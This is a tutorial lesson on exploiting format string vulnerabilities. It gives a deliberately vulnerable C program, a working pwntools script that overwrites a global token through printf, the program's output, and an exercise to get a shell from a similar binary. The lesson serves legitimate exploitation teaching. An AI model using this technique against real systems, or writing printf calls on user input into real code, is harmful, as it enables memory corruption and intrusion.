11. Format String Vulnerabilties

Format String Vulnerabilties

Yes, I know this is a really cliche topic but I am just covering one cool thing that you can do with pwntools. That's all, I promise. Now, we will be looking at this simple program that is vulnerable to a format string attack. The idea is to modify the token so that it contains 0xcafebabe when the check occurs.

#include <stdio.h>
#include <stdlib.h>

unsigned int token = 0xdeadbeef;

int main() {
    char buffer[200];
    scanf("%199s", buffer);
    printf(buffer);
    printf("\nToken = 0x%x\n", token);
    if (token == 0xcafebabe) {
        puts("Winner!");
    }
    else {
        puts("Loser!");
    }
}

So after playing around with the program, we figure out that the first format argument we control is at offset 5.

ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ ../build/2_overwrite
AAAA%5$x
AAAA41414141
Token = 0xdeadbeef
Loser!

Next, we need the address of the token.

ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ nm ../build/2_overwrite | grep token
0804a028 D token

Now we can write our exploit script. Pwntools actually has a format string attack generator so we can beat the binary in a few quick easy lines.

#!/usr/bin/python

from pwn import *

token_addr = 0x0804a028

def main():
    p = process("../build/2_overwrite")
    payload = fmtstr_payload(5, {token_addr: 0xcafebabe})
    log.info("Sending payload: %s" % payload)
    p.sendline(payload)

    data = p.recvall()
    realdata = data[data.find("Token"):]
    log.success(realdata)

if __name__ == "__main__":
    main()

Running the program.

ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ python 1_overwrite_token.py
[+] Starting local process '../build/2_overwrite': Done
[*] Sending payload: (�)�*�+�%174c%5$hhn%252c%6$hhn%68c%7$hhn%204c%8$hhn
[▁] Receiving all data: 0B
[+] Receiving all data: Done (742B)
[+] Token = 0xcafebabe
    Winner!

Exercises

Ex 13.1: Echoes

Before you continue onto the more advanced exercises, here's something to tackle. The source code to this challenge is given:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char echoed[1000] = {0};
    char number[200];
    int times;
    int i;
    while (1) {
        read(0, echoed, 999);
        puts("How many times do you want it echoed?");
        scanf("%199s", number);
        times = atoi(number);
        for (i = 0; i < times; i++) {
            printf(echoed);
        }
    }
}

The binary to the exercise can be found here. The remote target is nc localhost 1903 and the goal is to get a shell.

Last updated